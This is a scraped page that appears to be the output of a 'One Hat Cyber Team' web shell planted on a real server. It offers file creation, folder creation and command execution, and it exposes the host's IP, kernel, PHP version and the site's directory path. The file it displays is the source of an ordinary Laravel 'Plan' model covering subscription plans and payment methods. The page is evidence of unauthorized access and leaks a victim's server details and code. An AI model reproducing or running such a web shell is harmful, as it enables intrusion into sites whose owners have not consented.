⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
mydetails.com.ng
/
app
/
Models
/
View File Name :
Plan.php
'string', 'currency_id' => 'integer', 'price' => 'double', 'frequency' => 'integer', 'is_default' => 'integer', 'trial_days' => 'integer', 'no_of_vcards' => 'integer', ]; const IS_DEFAULT = 1; const IS_ACTIVE = 1; const IS_DEACTIVE = 0; const TRIAL_DAYS = 7; const MONTHLY = 1; const YEARLY = 2; const UNLIMITED = 3; const DURATION = [ self::MONTHLY => 'Month', self::YEARLY => 'Year', self::UNLIMITED => 'Unlimited', ]; const STRIPE = 1; const PAYPAL = 2; const RAZORPAY = 3; const MANUALLY = 4; const PAYMENT_METHOD = [ self::STRIPE => 'Stripe', self::PAYPAL => 'Paypal', self::RAZORPAY => 'Razorpay', self::MANUALLY => 'Manually', ]; const PAYPAL_MODE = [ 'sandbox' => 'Sandbox', 'live' => 'Live', ]; /** * @var array */ public static $rules = [ 'name' => 'required|string|min:2|unique:plans,name,', 'currency_id' => 'required', 'no_of_vcards' => 'required|numeric', ]; public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function planFeature(): HasOne { return $this->hasOne(PlanFeature::class, 'plan_id'); } public function subscriptions(): HasMany { return $this->hasMany(Subscription::class, 'plan_id'); } public function templates(): BelongsToMany { return $this->belongsToMany(Template::class); } public function hasZeroPlan() { if (getLogInUser()) { return $this->hasMany(Subscription::class)->where('plan_amount', 0) ->where('tenant_id', getLogInUser()->tenant_id); } return $this->hasMany(Subscription::class)->where('plan_amount', 0); } }